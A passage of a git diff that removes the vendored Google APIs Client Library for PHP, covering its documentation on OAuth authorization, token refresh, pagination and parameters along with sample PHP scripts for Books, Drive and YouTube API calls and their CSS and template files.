header('Location: ' . filter_var($auth_url, FILTER_SANITIZE_URL)); -} else { - $client->authenticate($_GET['code']); - $_SESSION['access_token'] = $client->getAccessToken(); - $redirect_uri = 'http://' . $_SERVER['HTTP_HOST'] . '/'; - header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL)); -} -``` - -## Incremental authorization - -In the OAuth 2.0 protocol, your app requests authorization to access resources, which are identified by scopes. It is considered a best user-experience practice to request authorization for resources at the time you need them. To enable that practice, Google's authorization server supports incremental authorization. This feature lets you request scopes as they are needed and, if the user grants permission, add those scopes to your existing access token for that user. - -For example, an app that lets people sample music tracks and create mixes might need very few resources at sign-in time, perhaps nothing more than the name of the person signing in. However, saving a completed mix would require access to their Google Drive. Most people would find it natural if they only were asked for access to their Google Drive at the time the app actually needed it. - -In this case, at sign-in time the app might request the `profile` scope to perform basic sign-in, and then later request the `https://www.googleapis.com/auth/drive.file` scope at the time of the first request to save a mix. - -To implement incremental authorization, you complete the normal flow for requesting an access token but make sure that the authorization request includes previously granted scopes. This approach allows your app to avoid having to manage multiple access tokens. - -The following rules apply to an access token obtained from an incremental authorization: - -* The token can be used to access resources corresponding to any of the scopes rolled into the new, combined authorization. -* When you use the refresh token for the combined authorization to obtain an access token, the access token represents the combined authorization and can be used for any of its scopes. -* The combined authorization includes all scopes that the user granted to the API project even if the grants were requested from different clients. For example, if a user granted access to one scope using an application's desktop client and then granted another scope to the same application via a mobile client, the combined authorization would include both scopes. -* If you revoke a token that represents a combined authorization, access to all of that authorization's scopes on behalf of the associated user are revoked simultaneously. - -The example for [setting authorization parameters](#Step-1-Set-authorization-parameters) demonstrates how to ensure authorization requests follow this best practice. The code snippet below also shows the code that you need to add to use incremental authorization. - -```php -$client->setIncludeGrantedScopes(true); -``` - -## Refreshing an access token (offline access) - -Access tokens periodically expire. You can refresh an access token without prompting the user for permission (including when the user is not present) if you requested offline access to the scopes associated with the token. - -If you use a Google API Client Library, the [client object](#Step-1-Set-authorization-parameters) refreshes the access token as needed as long as you configure that object for offline access. - -Requesting offline access is a requirement for any application that needs to access a Google API when the user is not present. For example, an app that performs backup services or executes actions at predetermined times needs to be able to refresh its access token when the user is not present. The default style of access is called `online`. - -Server-side web applications, installed applications, and devices all obtain refresh tokens during the authorization process. Refresh tokens are not typically used in client-side (JavaScript) web applications. - -If your application needs offline access to a Google API, set the API client's access type to `offline`: - -```php -$client->setAccessType("offline"); -``` - -After a user grants offline access to the requested scopes, you can continue to use the API client to access Google APIs on the user's behalf when the user is offline. The client object will refresh the access token as needed. - -## Revoking a token - -In some cases a user may wish to revoke access given to an application. A user can revoke access by visiting [Account Settings](https://security.google.com/settings/security/permissions). It is also possible for an application to programmatically revoke the access given to it. Programmatic revocation is important in instances where a user unsubscribes or removes an application. In other words, part of the removal process can include an API request to ensure the permissions granted to the application are removed. - -To programmatically revoke a token, call `revokeToken()`: - -```php -$client->revokeToken(); -``` - -**Note:** Following a successful revocation response, it might take some time before the revocation has full effect. - -Except as otherwise noted, the content of this page is licensed under the [Creative Commons Attribution 4.0 License](https://creativecommons.org/licenses/by/4.0/), and code samples are licensed under the [Apache 2.0 License](https://www.apache.org/licenses/LICENSE-2.0). For details, see our [Site Policies](https://developers.google.com/terms/site-policies). Java is a registered trademark of Oracle and/or its affiliates. \ No newline at end of file diff --git a/vendor/google/apiclient/docs/pagination.md b/vendor/google/apiclient/docs/pagination.md deleted file mode 100644 index 22bf78721b..0000000000 --- a/vendor/google/apiclient/docs/pagination.md +++ /dev/null @@ -1,10 +0,0 @@ -# Pagination - -Most list API calls have a maximum limit of results they will return in a single response. To allow retrieving more than this number of results, responses may return a pagination token which can be passed with a request in order to access subsequent pages. - -The token for the page will normally be found on list response objects, normally `nextPageToken`. This can be passed in the optional params. - -```php -$token = $results->getNextPageToken(); -$server->listActivities('me', 'public', array('pageToken' => $token)); -``` \ No newline at end of file diff --git a/vendor/google/apiclient/docs/parameters.md b/vendor/google/apiclient/docs/parameters.md deleted file mode 100644 index 183a0c2981..0000000000 --- a/vendor/google/apiclient/docs/parameters.md +++ /dev/null @@ -1,14 +0,0 @@ -# Standard Parameters - -Many API methods include support for certain optional parameters. In addition to these there are several standard parameters that can be applied to any API call. These are defined in the `Google\Service\Resource` class. - -## Parameters - -- **alt**: Specify an alternative response type, for example csv. -- **fields**: A comma separated list of fields that should be included in the response. Nested parameters can be specified with parens, e.g. key,parent(child/subsection). -- **userIp**: The IP of the end-user making the request. This is used in per-user request quotas, as defined in the Google Developers Console -- **quotaUser**: A user ID for the end user, an alternative to userIp for applying per-user request quotas -- **data**: Used as part of [media](media.md) -- **mimeType**: Used as part of [media](media.md) -- **uploadType**: Used as part of [media](media.md) -- **mediaUpload**: Used as part of [media](media.md) \ No newline at end of file diff --git a/vendor/google/apiclient/docs/start.md b/vendor/google/apiclient/docs/start.md deleted file mode 100644 index 0578e44aef..0000000000 --- a/vendor/google/apiclient/docs/start.md +++ /dev/null @@ -1,91 +0,0 @@ -# Getting Started - -This document provides all the basic information you need to start using the library. It covers important library concepts, shows examples for various use cases, and gives links to more information. - -## Setup - -There are a few setup steps you need to complete before you can use this library: - -1. If you don't already have a Google account, [sign up](https://www.google.com/accounts). -2. If you have never created a Google API project, read the [Managing Projects page](https://developers.google.com/console/help/#managingprojects) and create a project in the [Google Developers Console](https://console.developers.google.com/) -3. [Install](install.md) the library. - -## Authentication and authorization - -It is important to understand the basics of how API authentication and authorization are handled. All API calls must use either simple or authorized access (defined below). Many API methods require authorized access, but some can use either. Some API methods that can use either behave differently, depending on whether you use simple or authorized access. See the API's method documentation to determine the appropriate access type. - -### 1. Simple API access (API keys) - -These API calls do not access any private user data. Your application must authenticate itself as an application belonging to your Google Cloud project. This is needed to measure project usage for accounting purposes. - -#### Important concepts - -* **API key**: To authenticate your application, use an [API key](https://cloud.google.com/docs/authentication/api-keys) for your Google Cloud Console project. Every simple access call your application makes must include this key. - -> **Warning**: Keep your API key private. If someone obtains your key, they could use it to consume your quota or incur charges against your Google Cloud project. - - -### 2. Authorized API access (OAuth 2.0) - -These API calls access private user data. Before you can call them, the user that has access to the private data must grant your application access. Therefore, your application must be authenticated, the user must grant access for your application, and the user must be authenticated in order to grant that access. All of this is accomplished with [OAuth 2.0](https://developers.google.com/identity/protocols/OAuth2) and libraries written for it. - -#### Important concepts - -* **Scope**: Each API defines one or more scopes that declare a set of operations permitted. For example, an API might have read-only and read-write scopes. When your application requests access to user data, the request must include one or more scopes. The user needs to approve the scope of access your application is requesting. -* **Refresh and access tokens**: When a user grants your application access, the OAuth 2.0 authorization server provides your application with refresh and access tokens. These tokens are only valid for the scope requested. Your application uses access tokens to authorize API calls. Access tokens expire, but refresh tokens do not. Your application can use a refresh token to acquire a new access token. - - > **Warning**: Keep refresh and access tokens private. If someone obtains your tokens, they could use them to access private user data. - -* **Client ID and client secret**: These strings uniquely identify your application and are used to acquire tokens. They are created for your Google Cloud project on the [API Access pane](https://code.google.com/apis/console#:access) of the Google Cloud. There are three types of client IDs, so be sure to get the correct type for your application: - - * Web application client IDs - * Installed application client IDs - * [Service Account](https://developers.google.com/identity/protocols/OAuth2ServiceAccount) client IDs - - > **Warning**: Keep your client secret private. If someone obtains your client secret, they could use it to consume your quota, incur charges against your Google Cloud project, and request access to user data. - - -## Building and calling a service - -This section described how to build an API-specific service object, make calls to the service, and process the response. - -### Build the client object - -The client object is the primary container for classes and configuration in the library. - -```php -$client = new Google\Client(); -$client->setApplicationName("My Application"); -$client->setDeveloperKey("MY_SIMPLE_API_KEY"); -``` - -### Build the service object - -Services are called through queries to service specific objects. These are created by constructing the service object, and passing an instance of `Google\Client` to it. `Google\Client` contains the IO, authentication and other classes required by the service to function, and the service informs the client which scopes it uses to provide a default when authenticating a user. - -```php -$service = new Google\Service\Books($client); -``` - -### Calling an API - -Each API provides resources and methods, usually in a chain. These can be accessed from the service object in the form `$service->resource->method(args)`. Most method require some arguments, then accept a final parameter of an array containing optional parameters. For example, with the Google Books API, we can make a call to list volumes matching a certain string, and add an optional _filter_ parameter. - -```php -$optParams = array('filter' => 'free-ebooks'); -$results = $service->volumes->listVolumes('Henry David Thoreau', $optParams); -``` - -### Handling the result - -There are two main types of response - items and collections of items. Each can be accessed either as an object or as an array. Collections implement the `Iterator` interface so can be used in foreach and other constructs. - -```php -foreach ($results as $item) { - echo $item['volumeInfo']['title'], "
                                \n"; -} -``` - -## Google App Engine support - -This library works well with Google App Engine applications. The Memcache class is automatically used for caching, and the file IO is implemented with the use of the Streams API. \ No newline at end of file diff --git a/vendor/google/apiclient/examples/README.md b/vendor/google/apiclient/examples/README.md deleted file mode 100644 index 06cd9370dd..0000000000 --- a/vendor/google/apiclient/examples/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# Examples for Google APIs Client Library for PHP # - -## How to run the examples ## - -1. Following the [Installation Instructions](../README.md#installation) -1. Run the PHP built-in web server. Supply the `-t` option to point to this directory: - - ``` - $ php -S localhost:8000 -t examples/ - ``` - -1. Point your browser to the host and port you specified, i.e `http://localhost:8000`. - -## G Suite OAuth Samples - -G Suite APIs such as Slides, Sheets, and Drive use 3-legged OAuth authentification. -Samples using OAuth can be found here: - -https://github.com/gsuitedevs/php-samples diff --git a/vendor/google/apiclient/examples/batch.php b/vendor/google/apiclient/examples/batch.php deleted file mode 100644 index 9a8a26c1ef..0000000000 --- a/vendor/google/apiclient/examples/batch.php +++ /dev/null @@ -1,93 +0,0 @@ -setApplicationName("Client_Library_Examples"); - -// Warn if the API key isn't set. -if (!$apiKey = getApiKey()) { - echo missingApiKeyWarning(); - return; -} -$client->setDeveloperKey($apiKey); - -$service = new Google\Service\Books($client); - -/************************************************ - To actually make the batch call we need to - enable batching on the client - this will apply - globally until we set it to false. This causes - call to the service methods to return the query - rather than immediately executing. - ************************************************/ -$client->setUseBatch(true); - -/************************************************ - We then create a batch, and add each query we - want to execute with keys of our choice - these - keys will be reflected in the returned array. -************************************************/ - -// NOTE: Some services use `new Google\Http\Batch($client);` instead -$batch = $service->createBatch(); - -$query = 'Henry David Thoreau'; -$optParams = array('filter' => 'free-ebooks'); -$req1 = $service->volumes->listVolumes($query, $optParams); -$batch->add($req1, "thoreau"); -$query = 'George Bernard Shaw'; -$req2 = $service->volumes->listVolumes($query, $optParams); -$batch->add($req2, "shaw"); - -/************************************************ - Executing the batch will send all requests off - at once. - ************************************************/ - -$results = $batch->execute(); -?> - -

                                Results Of Call 1:

                                - - -
                                - - -

                                Results Of Call 2:

                                - - -
                                - - - diff --git a/vendor/google/apiclient/examples/idtoken.php b/vendor/google/apiclient/examples/idtoken.php deleted file mode 100644 index 95cd320a8d..0000000000 --- a/vendor/google/apiclient/examples/idtoken.php +++ /dev/null @@ -1,109 +0,0 @@ -setAuthConfig($oauth_credentials); -$client->setRedirectUri($redirect_uri); -$client->setScopes('email'); - -/************************************************ - * If we're logging out we just need to clear our - * local access token in this case - ************************************************/ -if (isset($_REQUEST['logout'])) { - unset($_SESSION['id_token_token']); -} - - -/************************************************ - * If we have a code back from the OAuth 2.0 flow, - * we need to exchange that with the - * Google\Client::fetchAccessTokenWithAuthCode() - * function. We store the resultant access token - * bundle in the session, and redirect to ourself. - ************************************************/ -if (isset($_GET['code'])) { - $token = $client->fetchAccessTokenWithAuthCode($_GET['code']); - - // store in the session also - $_SESSION['id_token_token'] = $token; - - // redirect back to the example - header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL)); - return; -} - -/************************************************ - If we have an access token, we can make - requests, else we generate an authentication URL. - ************************************************/ -if ( - !empty($_SESSION['id_token_token']) - && isset($_SESSION['id_token_token']['id_token']) -) { - $client->setAccessToken($_SESSION['id_token_token']); -} else { - $authUrl = $client->createAuthUrl(); -} - -/************************************************ - If we're signed in we can go ahead and retrieve - the ID token, which is part of the bundle of - data that is exchange in the authenticate step - - we only need to do a network call if we have - to retrieve the Google certificate to verify it, - and that can be cached. - ************************************************/ -if ($client->getAccessToken()) { - $token_data = $client->verifyIdToken(); -} -?> - -
                                - - - -
                                -

                                Here is the data from your Id Token:

                                -
                                -
                                - -
                                - - diff --git a/vendor/google/apiclient/examples/index.php b/vendor/google/apiclient/examples/index.php deleted file mode 100644 index 0c7a4d1595..0000000000 --- a/vendor/google/apiclient/examples/index.php +++ /dev/null @@ -1,43 +0,0 @@ - - - - To view this example, run the following command from the root directory of this repository: - - php -S localhost:8080 -t examples/ - - And then browse to "localhost:8080" in your web browser - - - - - - - - - API Key set! - - - - -
                                - You have not entered your API key -
                                " method="POST"> - API Key: - -
                                - This can be found in the Google API Console -
                                - - - - - diff --git a/vendor/google/apiclient/examples/large-file-download.php b/vendor/google/apiclient/examples/large-file-download.php deleted file mode 100644 index 4e6042abb5..0000000000 --- a/vendor/google/apiclient/examples/large-file-download.php +++ /dev/null @@ -1,149 +0,0 @@ -setAuthConfig($oauth_credentials); -$client->setRedirectUri($redirect_uri); -$client->addScope("https://www.googleapis.com/auth/drive"); -$service = new Google\Service\Drive($client); - -/************************************************ - * If we have a code back from the OAuth 2.0 flow, - * we need to exchange that with the - * Google\Client::fetchAccessTokenWithAuthCode() - * function. We store the resultant access token - * bundle in the session, and redirect to ourself. - ************************************************/ -if (isset($_GET['code'])) { - $token = $client->fetchAccessTokenWithAuthCode($_GET['code']); - $client->setAccessToken($token); - - // store in the session also - $_SESSION['upload_token'] = $token; - - // redirect back to the example - header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL)); -} - -// set the access token as part of the client -if (!empty($_SESSION['upload_token'])) { - $client->setAccessToken($_SESSION['upload_token']); - if ($client->isAccessTokenExpired()) { - unset($_SESSION['upload_token']); - } -} else { - $authUrl = $client->createAuthUrl(); -} - -/************************************************ - * If we're signed in then lets try to download our - * file. - ************************************************/ -if ($client->getAccessToken()) { - // Check for "Big File" and include the file ID and size - $files = $service->files->listFiles([ - 'q' => "name='Big File'", - 'fields' => 'files(id,size)' - ]); - - if (count($files) == 0) { - echo " -

                                - Before you can use this sample, you need to - upload a large file to Drive. -

                                "; - return; - } - - // If this is a POST, download the file - if ($_SERVER['REQUEST_METHOD'] == 'POST') { - // Determine the file's size and ID - $fileId = $files[0]->id; - $fileSize = intval($files[0]->size); - - // Get the authorized Guzzle HTTP client - $http = $client->authorize(); - - // Open a file for writing - $fp = fopen('Big File (downloaded)', 'w'); - - // Download in 1 MB chunks - $chunkSizeBytes = 1 * 1024 * 1024; - $chunkStart = 0; - - // Iterate over each chunk and write it to our file - while ($chunkStart < $fileSize) { - $chunkEnd = $chunkStart + $chunkSizeBytes; - $response = $http->request( - 'GET', - sprintf('/drive/v3/files/%s', $fileId), - [ - 'query' => ['alt' => 'media'], - 'headers' => [ - 'Range' => sprintf('bytes=%s-%s', $chunkStart, $chunkEnd) - ] - ] - ); - $chunkStart = $chunkEnd + 1; - fwrite($fp, $response->getBody()->getContents()); - } - // close the file pointer - fclose($fp); - - // redirect back to this example - header('Location: ' . filter_var($redirect_uri . '?downloaded', FILTER_SANITIZE_URL)); - } -} -?> - -
                                - - - -
                                -

                                Your call was successful! Check your filesystem for the file:

                                -

                                Big File (downloaded)

                                -
                                - -
                                - -
                                - -
                                - - diff --git a/vendor/google/apiclient/examples/large-file-upload.php b/vendor/google/apiclient/examples/large-file-upload.php deleted file mode 100644 index f5b9a0f6d9..0000000000 --- a/vendor/google/apiclient/examples/large-file-upload.php +++ /dev/null @@ -1,169 +0,0 @@ -setAuthConfig($oauth_credentials); -$client->setRedirectUri($redirect_uri); -$client->addScope("https://www.googleapis.com/auth/drive"); -$service = new Google\Service\Drive($client); - -// add "?logout" to the URL to remove a token from the session -if (isset($_REQUEST['logout'])) { - unset($_SESSION['upload_token']); -} - -/************************************************ - * If we have a code back from the OAuth 2.0 flow, - * we need to exchange that with the - * Google\Client::fetchAccessTokenWithAuthCode() - * function. We store the resultant access token - * bundle in the session, and redirect to ourself. - ************************************************/ -if (isset($_GET['code'])) { - $token = $client->fetchAccessTokenWithAuthCode($_GET['code']); - $client->setAccessToken($token); - - // store in the session also - $_SESSION['upload_token'] = $token; - - // redirect back to the example - header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL)); -} - -// set the access token as part of the client -if (!empty($_SESSION['upload_token'])) { - $client->setAccessToken($_SESSION['upload_token']); - if ($client->isAccessTokenExpired()) { - unset($_SESSION['upload_token']); - } -} else { - $authUrl = $client->createAuthUrl(); -} - -/************************************************ - * If we're signed in then lets try to upload our - * file. - ************************************************/ -if ($_SERVER['REQUEST_METHOD'] == 'POST' && $client->getAccessToken()) { - /************************************************ - * We'll setup an empty 20MB file to upload. - ************************************************/ - DEFINE("TESTFILE", 'testfile.txt'); - if (!file_exists(TESTFILE)) { - $fh = fopen(TESTFILE, 'w'); - fseek($fh, 1024*1024*20); - fwrite($fh, "!", 1); - fclose($fh); - } - - $file = new Google\Service\Drive\DriveFile(); - $file->name = "Big File"; - $chunkSizeBytes = 1 * 1024 * 1024; - - // Call the API with the media upload, defer so it doesn't immediately return. - $client->setDefer(true); - $request = $service->files->create($file); - - // Create a media file upload to represent our upload process. - $media = new Google\Http\MediaFileUpload( - $client, - $request, - 'text/plain', - null, - true, - $chunkSizeBytes - ); - $media->setFileSize(filesize(TESTFILE)); - - // Upload the various chunks. $status will be false until the process is - // complete. - $status = false; - $handle = fopen(TESTFILE, "rb"); - while (!$status && !feof($handle)) { - // read until you get $chunkSizeBytes from TESTFILE - // fread will never return more than 8192 bytes if the stream is read buffered and it does not represent a plain file - // An example of a read buffered file is when reading from a URL - $chunk = readVideoChunk($handle, $chunkSizeBytes); - $status = $media->nextChunk($chunk); - } - - // The final value of $status will be the data from the API for the object - // that has been uploaded. - $result = false; - if ($status != false) { - $result = $status; - } - - fclose($handle); -} - -function readVideoChunk ($handle, $chunkSize) -{ - $byteCount = 0; - $giantChunk = ""; - while (!feof($handle)) { - // fread will never return more than 8192 bytes if the stream is read buffered and it does not represent a plain file - $chunk = fread($handle, 8192); - $byteCount += strlen($chunk); - $giantChunk .= $chunk; - if ($byteCount >= $chunkSize) - { - return $giantChunk; - } - } - return $giantChunk; -} -?> - -
                                - - - -
                                -

                                Your call was successful! Check your drive for this file:

                                -

                                name ?>

                                -

                                Now try downloading a large file from Drive. -

                                - -
                                - -
                                - -
                                - - diff --git a/vendor/google/apiclient/examples/multi-api.php b/vendor/google/apiclient/examples/multi-api.php deleted file mode 100644 index 435c22f94e..0000000000 --- a/vendor/google/apiclient/examples/multi-api.php +++ /dev/null @@ -1,120 +0,0 @@ -setAuthConfig($oauth_credentials); -$client->setRedirectUri($redirect_uri); -$client->addScope("https://www.googleapis.com/auth/drive"); -$client->addScope("https://www.googleapis.com/auth/youtube"); - -// add "?logout" to the URL to remove a token from the session -if (isset($_REQUEST['logout'])) { - unset($_SESSION['multi-api-token']); -} - -/************************************************ - * If we have a code back from the OAuth 2.0 flow, - * we need to exchange that with the - * Google\Client::fetchAccessTokenWithAuthCode() - * function. We store the resultant access token - * bundle in the session, and redirect to ourself. - ************************************************/ -if (isset($_GET['code'])) { - $token = $client->fetchAccessTokenWithAuthCode($_GET['code']); - $client->setAccessToken($token); - - // store in the session also - $_SESSION['multi-api-token'] = $token; - - // redirect back to the example - header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL)); -} - -// set the access token as part of the client -if (!empty($_SESSION['multi-api-token'])) { - $client->setAccessToken($_SESSION['multi-api-token']); - if ($client->isAccessTokenExpired()) { - unset($_SESSION['multi-api-token']); - } -} else { - $authUrl = $client->createAuthUrl(); -} - -/************************************************ - We are going to create both YouTube and Drive - services, and query both. - ************************************************/ -$yt_service = new Google\Service\YouTube($client); -$dr_service = new Google\Service\Drive($client); - -/************************************************ - If we're signed in, retrieve channels from YouTube - and a list of files from Drive. - ************************************************/ -if ($client->getAccessToken()) { - $_SESSION['multi-api-token'] = $client->getAccessToken(); - - $dr_results = $dr_service->files->listFiles(array('pageSize' => 10)); - - $yt_channels = $yt_service->channels->listChannels('contentDetails', array("mine" => true)); - $likePlaylist = $yt_channels[0]->contentDetails->relatedPlaylists->likes; - $yt_results = $yt_service->playlistItems->listPlaylistItems( - "snippet", - array("playlistId" => $likePlaylist) - ); -} -?> - -
                                -
                                - - - -

                                Results Of Drive List:

                                - - name ?>
                                - - -

                                Results Of YouTube Likes:

                                - -
                                - - -
                                -
                                - - diff --git a/vendor/google/apiclient/examples/service-account.php b/vendor/google/apiclient/examples/service-account.php deleted file mode 100644 index dcaab4f49d..0000000000 --- a/vendor/google/apiclient/examples/service-account.php +++ /dev/null @@ -1,75 +0,0 @@ -setAuthConfig($credentials_file); -} elseif (getenv('GOOGLE_APPLICATION_CREDENTIALS')) { - // use the application default credentials - $client->useApplicationDefaultCredentials(); -} else { - echo missingServiceAccountDetailsWarning(); - return; -} - -$client->setApplicationName("Client_Library_Examples"); -$client->setScopes(['https://www.googleapis.com/auth/books']); -$service = new Google\Service\Books($client); - -/************************************************ - We're just going to make the same call as in the - simple query as an example. - ************************************************/ -$query = 'Henry David Thoreau'; -$optParams = array( - 'filter' => 'free-ebooks', -); -$results = $service->volumes->listVolumes($query, $optParams); -?> - -

                                Results Of Call:

                                - - -
                                - - - diff --git a/vendor/google/apiclient/examples/simple-file-upload.php b/vendor/google/apiclient/examples/simple-file-upload.php deleted file mode 100644 index e2f605ec84..0000000000 --- a/vendor/google/apiclient/examples/simple-file-upload.php +++ /dev/null @@ -1,135 +0,0 @@ -setAuthConfig($oauth_credentials); -$client->setRedirectUri($redirect_uri); -$client->addScope("https://www.googleapis.com/auth/drive"); -$service = new Google\Service\Drive($client); - -// add "?logout" to the URL to remove a token from the session -if (isset($_REQUEST['logout'])) { - unset($_SESSION['upload_token']); -} - -/************************************************ - * If we have a code back from the OAuth 2.0 flow, - * we need to exchange that with the - * Google\Client::fetchAccessTokenWithAuthCode() - * function. We store the resultant access token - * bundle in the session, and redirect to ourself. - ************************************************/ -if (isset($_GET['code'])) { - $token = $client->fetchAccessTokenWithAuthCode($_GET['code']); - $client->setAccessToken($token); - - // store in the session also - $_SESSION['upload_token'] = $token; - - // redirect back to the example - header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL)); -} - -// set the access token as part of the client -if (!empty($_SESSION['upload_token'])) { - $client->setAccessToken($_SESSION['upload_token']); - if ($client->isAccessTokenExpired()) { - unset($_SESSION['upload_token']); - } -} else { - $authUrl = $client->createAuthUrl(); -} - -/************************************************ - * If we're signed in then lets try to upload our - * file. For larger files, see fileupload.php. - ************************************************/ -if ($_SERVER['REQUEST_METHOD'] == 'POST' && $client->getAccessToken()) { - // We'll setup an empty 1MB file to upload. - DEFINE("TESTFILE", 'testfile-small.txt'); - if (!file_exists(TESTFILE)) { - $fh = fopen(TESTFILE, 'w'); - fseek($fh, 1024 * 1024); - fwrite($fh, "!", 1); - fclose($fh); - } - - // This is uploading a file directly, with no metadata associated. - $file = new Google\Service\Drive\DriveFile(); - $result = $service->files->create( - $file, - array( - 'data' => file_get_contents(TESTFILE), - 'mimeType' => 'application/octet-stream', - 'uploadType' => 'media' - ) - ); - - // Now lets try and send the metadata as well using multipart! - $file = new Google\Service\Drive\DriveFile(); - $file->setName("Hello World!"); - $result2 = $service->files->create( - $file, - array( - 'data' => file_get_contents(TESTFILE), - 'mimeType' => 'application/octet-stream', - 'uploadType' => 'multipart' - ) - ); -} -?> - -
                                - - - -
                                -

                                Your call was successful! Check your drive for the following files:

                                - -
                                - -
                                - -
                                - -
                                - - diff --git a/vendor/google/apiclient/examples/simple-query.php b/vendor/google/apiclient/examples/simple-query.php deleted file mode 100644 index 29807cf597..0000000000 --- a/vendor/google/apiclient/examples/simple-query.php +++ /dev/null @@ -1,90 +0,0 @@ -setApplicationName("Client_Library_Examples"); - -// Warn if the API key isn't set. -if (!$apiKey = getApiKey()) { - echo missingApiKeyWarning(); - return; -} -$client->setDeveloperKey($apiKey); - -$service = new Google\Service\Books($client); - -/************************************************ - We make a call to our service, which will - normally map to the structure of the API. - In this case $service is Books API, the - resource is volumes, and the method is - listVolumes. We pass it a required parameters - (the query), and an array of named optional - parameters. - ************************************************/ -$query = 'Henry David Thoreau'; -$optParams = array( - 'filter' => 'free-ebooks', -); -$results = $service->volumes->listVolumes($query, $optParams); - - /************************************************ - This is an example of deferring a call. - ***********************************************/ -$client->setDefer(true); -$query = 'Henry David Thoreau'; -$optParams = array( - 'filter' => 'free-ebooks', -); -$request = $service->volumes->listVolumes($query, $optParams); -$resultsDeferred = $client->execute($request); - -/************************************************ - These calls returns a list of volumes, so we - can iterate over them as normal with any - array. - Some calls will return a single item which we - can immediately use. The individual responses - are typed as Google\Service\Books_Volume, but - can be treated as an array. - ************************************************/ -?> - -

                                Results Of Call:

                                - - -
                                - - -

                                Results Of Deferred Call:

                                - - -
                                - - - diff --git a/vendor/google/apiclient/examples/styles/style.css b/vendor/google/apiclient/examples/styles/style.css deleted file mode 100644 index 09b5983ecf..0000000000 --- a/vendor/google/apiclient/examples/styles/style.css +++ /dev/null @@ -1,117 +0,0 @@ -/* - * Copyright 2013 Google Inc. - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -body { - font-family: Arial,sans-serif; - margin: auto; - padding: 10px; -} - -.box { - border: .5em solid #E3E9FF; - -webkit-box-orient: vertical; - -webkit-box-align: center; - - -moz-box-orient: vertical; - -moz-box-align: center; - - display: block; - box-orient: vertical; - box-align: center; - - width: 400px; - height: auto; - - margin: auto; - padding: 10px; - overflow: scroll; -} - -.request { - -webkit-box-flex: 1; - -moz-box-flex: 1; - box-flex: 1; -} - -.result { - -webkit-box-flex: 2; - -moz-box-flex: 2; - box-flex: 2; -} - -header { - color:#000; - padding:2px 5px; - font-size:100%; - margin: auto; - text-align: center -} - -header h1.logo { - margin:6px 0; - padding:0; - font-size:24px; - line-height:20px; - text-align: center -} - -.login { - font-size: 200%; - display: block; - margin: auto; - cursor: pointer; - text-align: center; - font-weight: bold; - color: #2779AA; - line-height: normal; -} - -.logout { - font-weight: normal; - margin-top: 0; -} - -.shortened { - overflow: scroll; -} - -.url { - color: #019; - font-size: 100%; - vertical-align: middle; - padding: 1px; - background-color: white; - border: 1px inset; - cursor: auto; - margin: 0; - text-indent: 0; - display: inline-block; -} - -pre.code { - padding: 10px; - border: .5em solid #E3E9FF; - margin: 10px; - height: 400px; - overflow: scroll; -} - -.warn { - color: red; -} - -.api-key { - background-color:#DDD; -} \ No newline at end of file diff --git a/vendor/google/apiclient/examples/templates/base.php b/vendor/google/apiclient/examples/templates/base.php deleted file mode 100644 index d9b4615f0a..0000000000 --- a/vendor/google/apiclient/examples/templates/base.php +++ /dev/null @@ -1,167 +0,0 @@ - - - - " . $title . " - - - \n"; - if ($_SERVER['PHP_SELF'] != "/index.php") { - $ret .= "

                                Back

                                "; - } - $ret .= "

                                " . $title . "

                                "; - - // Start the session (for storing access tokens and things) - if (!headers_sent()) { - session_start(); - } - - return $ret; -} - - -function pageFooter($file = null) -{ - $ret = ""; - if ($file) { - $ret .= "

                                Code:

                                "; - $ret .= "
                                ";
                                -    $ret .= htmlspecialchars(file_get_contents($file));
                                -    $ret .= "
                                "; - } - $ret .= ""; - - return $ret; -} - -function missingApiKeyWarning() -{ - $ret = " -

                                - Warning: You need to set a Simple API Access key from the - Google API console -

                                "; - - return $ret; -} - -function missingClientSecretsWarning() -{ - $ret = " -

                                - Warning: You need to set Client ID, Client Secret and Redirect URI from the - Google API console -

                                "; - - return $ret; -} - -function missingServiceAccountDetailsWarning() -{ - $ret = " -

                                - Warning: You need download your Service Account Credentials JSON from the - Google API console. -

                                -

                                - Once downloaded, move them into the root directory of this repository and - rename them 'service-account-credentials.json'. -

                                -

                                - In your application, you should set the GOOGLE_APPLICATION_CREDENTIALS environment variable - as the path to this file, but in the context of this example we will do this for you. -

                                "; - - return $ret; -} - -function missingOAuth2CredentialsWarning() -{ - $ret = " -

                                - Warning: You need to set the location of your OAuth2 Client Credentials from the - Google API console. -

                                -

                                - Once downloaded, move them into the root directory of this repository and - rename them 'oauth-credentials.json'. -

                                "; - - return $ret; -} - -function invalidCsrfTokenWarning() -{ - $ret = " -

                                - The CSRF token is invalid, your session probably expired. Please refresh the page. -

